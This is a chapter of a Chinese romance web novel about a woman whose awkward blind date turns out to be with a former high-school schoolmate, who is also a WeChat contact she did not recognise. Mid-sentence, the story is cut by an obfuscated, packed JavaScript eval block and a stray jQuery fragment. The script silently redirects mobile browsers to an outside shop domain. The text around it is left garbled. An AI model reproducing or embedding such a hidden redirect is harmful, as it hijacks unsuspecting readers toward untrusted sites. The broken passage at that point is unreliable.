店里的桌号牌是规整的正方体造型,六面平整,除了居中的数字标识之外,唯有角落一处极小的店铺logo,能细微区分正反。
此刻桌上号牌里小小的logo反向朝下,显然,盛明樱坐错了桌。
上一次这么尴尬,应该还是四年前她入职米丝游戏的时候。
新人报道第一天,她在人事部等候部门领导过来接引,身边坐着一位同样等待入职的同期。
对方长发垂肩,妆容精致得体,眉眼秀气,她凭着刻板印象先入为主,主动笑着打招呼:“hello姐妹,你也是美术部的吗?”
话音落下,周遭空气静默,死寂的氛围足足僵持了三秒。
随后,一道粗犷低沉的男声在耳边响起:“你好,我是测试部。”
在西装男朝她递出名片,说“这是我的名片,您日后如果有购房、卖房的需求,随时都可以联系我”时,盛明樱觉得恍惚又回到了四年前,她的尴尬指数直接飙升到顶峰,恨不得当场找个地缝钻进去,脚趾已经抠出了百平别墅。
换了桌子,被帮忙的服务员小姐姐端了一块慕斯蛋糕过来,对江驭刚才的行为表示感谢。
江驭把蛋糕推到盛明樱面前:“要不要再加点其他东西?”
“不用了。”
她瞄了眼对面若无其事的江驭,觉得自己也没有必要小题大做,谁在生活中还没出过几回糗。
“你还好吗?”盛明樱见他活动了一下手腕,不确定江驭是不是在刚才的见义勇为中负了伤。
“没事。”江驭捏了捏左手手腕,瞧她一眼,“这么好吃?再给你点一份。”
盛明樱这才发现面前的慕斯蛋糕早已被自己吃得干干净净。
果然,人在极度尴尬的时候,总会不自觉地喜欢给自己找事干,嘴巴停不下来。
她放下叉子,干笑两声:“有点太甜了。”
江驭点点头,在确定盛明樱真的不需要后,开口:“江驭,二十七岁,毕业于京市体育学院,现在在潞市有两套房产一辆SUV,存款......”
“等等等等,”盛明樱没想过自己的相亲对象会是他,更没料到他这么认真地在做自我介绍,“江驭同学,你可能不知道,其实....我们俩是高中同学,我也是潞市一中的,14级。”
江驭停下准备了好久的腹稿,脸色微变,目光在她脸上停了一瞬:“你记得我?”
盛明樱没字斟句酌“记得”二字,只把它等同于“知道”。
你知道我?
这问题。
盛明樱的高中虽被学习充斥,但又不是只有学习。
两次被学校在周一升旗仪式通报批评、且其中一次还被她目睹过现场的人,自己怎么会不认识、不知道?
但她总不能说“当然知道,你把人拽进厕所的样子我现在都记得。”吧
“嗯。”盛明樱礼貌地笑笑,“你当时提前被京大体院录取,喜报还是我贴到学校宣传栏上的。”
她没看见江驭脸上一闪而过的失落,只听对方说:“我的情况,需要继续介绍吗?”
当然没必要了。
她从没想过相亲对象会是高中同学,更没想过是他。
在盛明樱眼里,今天这么抓马的见面权当是昔日同学之间的久违寒暄。
只是她还没说出口,目光停在江驭的脸上,有点恍然。
这是盛明樱第一次如此认真、清晰地打量久有耳闻的江驭的样貌。
不得不承认,高中时女生们的审美堪称权威。他这副出众长相根本没有不被人记住的道理。
许是被眼前过分出众的美色迷惑,盛明樱忘了回答江驭的问题,先好奇道:“你怎么会来相亲?父母催婚?”
说完,她很快有些后悔。
想到自己之前定下的相亲标准,暗自懊恼自己太不过脑,怎么哪壶不开提哪壶:“不是,我的意思是...”
好在江驭神色坦然,眼底没有半分介意:“我跟外婆一起生活,老太太比较着急。”
盛明樱表示理解,接过他的话:“我外婆也是这样,到了这个年纪,老人大多都是关心这个。”
“你呢?”江驭想到昨天在商场里的那个胖男人,“你也是被家长强迫安排?”
也。
盛明樱上学时是语文课代表,语文成绩好,最擅长做阅读理解。
她从一个也字肯定了自己最初的判断。
江驭果然是迫于家里长辈,被迫相亲。
两人本就不太合适,既然他又是被逼无奈,那今天只要礼貌走完流程就行。
“噢,不是。”盛明樱往椅背上一靠,回答他的问题,“我是自愿的。”
接下来的时间,盛明樱没有再主动问过江驭问题,倒是江驭问了几句。
“你当初不是打算考京市的学校?”
盛明樱微微一怔,有几分诧异。
看来小姨给对方的信息还挺全面,连自己高三本来属意京市大学的事情都跟对方交代了?
她整个高中的目标都是京市美院,只不过高三那年,原本不过问这些的母亲冯玉竹聊到这个,直接拍板:“我已经帮你联系好留学中介了,你既然喜欢美术,美国有几个学校都很不错。”
明樱后来才知道,原来是对亲生女儿不甚关心的盛正言卖了一辆车,打算把毫无血缘关系的继女送出国。
“妈,你和他都离婚了,就当不认识他不行吗?他想送谁出国是他们的事,咱们不用和他们比,我不想去。”
一向说一不二、做主惯了的冯玉竹,在这件事上更是不给她丝毫商量的余地:“去,你必须去。”
“我送不起你吗?”
盛明樱把杯里最后一口饮料喝完,淡淡笑了笑,随口胡诌:“成绩一般,怕考不上。”
蓦地,她又似真非真补充了一句:“不过在京市工作了四年,也算是弥补了遗憾。”
“你呢,毕业怎么没考虑留在京市?”
江驭握着水杯的手不自觉攥紧,他自然听出盛明樱话里的敷衍。
高三时,江驭班上的英语老师是理科一班的班主任,孙老师不止一次在他们班夸赞自己班里几名成绩拔尖、心态稳定的学生,盛明樱的名字,每一次都赫然在列。
他拿起纸巾,擦了擦自己被杯壁水珠浸湿的左手,没有拆穿,接着她的问题回答:“外婆年纪大了,离得近比较放心。”
两人安静对坐,直到江驭杯中的饮品也见底,盛明樱拿起手机瞥了一眼屏幕,竟然已经过去半个小时。
“有事?”江驭问她。
不知为何,盛明樱觉得和校友相亲,尤其还是和以前自己心中的校霸相亲,总让她莫名觉得局促别扭,浑身都不太自在。
既然对方主动递来了结束的理由,她索性点头,顺势默认:“那、我们今天就到这?”
江驭眸光微沉,“嗯”了一声。
他能看出,今天的这场相亲,盛明樱并不太抱期待。
昨晚他特意熬夜查了查网上的各种相亲攻略,记得里面有一条是这么说的:如果见面相处时,对方没有半分热切了解你的心思,也不主动找话题维系氛围,那么恭喜你,你大概率不在对方的考虑范围之内。
两人走到“此时此刻”门口,门外日头炽烈刺眼,热度扑面而来。
出门还是阴天,不知什么时候太阳已经从乌云后面钻了出来。
门口,一位推着婴儿车的女士正准备进店,江驭伸手扶住玻璃门,待对方进去后,他才松开手,随
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17721468|208679||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
即转头看向身侧的盛明樱:“你怎么来的?我送你?”
盛明樱说不用,指了指身后的小区:“我家就在这儿,几步路的事,很近。”
话都说到这份上,江驭再找不出什么合适的由头,沉默了两秒才开口:“行,那你到家跟我说一声,我先走了。”
刺眼的阳光晃得人睁不开眼,盛明樱微微眯起眸子,抬手挡了一下额前:“好的,再见。”
她抬手从包里翻出一把常年备着的太阳伞,刚撑开,耳边传来一阵低沉的机车轰鸣声。
盛明樱下意识侧头望去,恰好看见江驭落座机车戴好头盔准备出发的模样,长腿跨上车身,动作利落熟练。
看着那道渐行渐远的背影,她扬了扬眉,这车倒是很贴合江驭在她眼中的一贯印象。
只是望着滚烫的烈日,她心底忍不住暗自腹诽,这么暴晒闷热的天气,纵使骑的是这种酷炫的机车,也估计和她的小电驴没什么区别。
屁股不遭罪吗?
-
许春风买菜回来,在楼下看见那辆熟悉的机车后,进门就问:“今天不是去相亲吗?怎么没开车?”
江驭的车昨天在商场发生了剐蹭,虽说是他有意为之,但他并不打算让外婆担心,随口编了个理由:“车借给赵泽平了。”
“相亲怎么样?”许春风直问自己关心的重点,“和那姑娘聊的来吗?”
“嗯。”江驭有点魂不守舍地应着。
按理说盛明樱应该早就到家了吧,可是半天也没有在微信上说话。
他想了想,没忍住,点开和盛明樱的微信聊天页面:到了吗?
消息发送出去好几分钟,他才想到,盛明樱应该还不知道,微信里的江教练是他。
江驭赶紧长按消息。
无奈三分钟已过,无法撤回。
“小驭?”许春风接连喊了他好几声。
“怎么了,外婆?”江驭懊悔地握了握拳。
“我说,既然和那姑娘聊得来,怎么不顺势约人家吃个晚饭?”许春风恨铁不成钢,“男孩子要主动一点懂不懂?你不主动,爱情能自己砸到你头上来?”
“是是是,您说得对。”
微信页面毫无动静,江驭按灭屏幕锁上手机,转移自己的注意力,“我看看您今天买了什么菜,您上次说想吃鱼,今天我给您做红烧鱼?”
另一头,已经在家换上家居服的盛明樱正和陶蔚蓝煲电话粥。
本来到家的第一时间她是打算告知对方一声,毕竟这是最基本的礼貌。
可是拿起手机,她才后知后觉,整场相亲下来,两人压根没有互留任何联系方式。
正好好友来了电话,盛明樱便把这事顺势抛到了脑后。
陶蔚蓝主要是和盛明樱交代租房的事情,聊到最后,她主动问起:“今天的相亲怎么样?”
反正应该也是没下文,盛明樱暂时不打算多提对方是校友的事情,含糊道:“就那样吧。”
陶蔚蓝本想多问两句,奈何科室主任开会回来了,她只好匆匆结束聊天。
盛明樱挂断电话,看见屏幕上躺着一条未读消息。
【江教练】:到了吗?
她盯着文字愣了几秒,一时没反应过来,第一反应是对方是不是发错了人。
可目光往上扫,瞥见两人昨晚的聊天记录,再联想到今天相亲时江驭身上那件黑色衬衣,盛明樱心里咯噔一下,喉间不自觉轻咽了咽。
她斟酌半天,谨慎敲出三个字发过去:“江驭?”
不是吧。
不会吧。
很好,怕什么来什么,墨菲定律再一次验证成功。
【江教练】:是我。
五分钟后,一条消息,又弹了出来。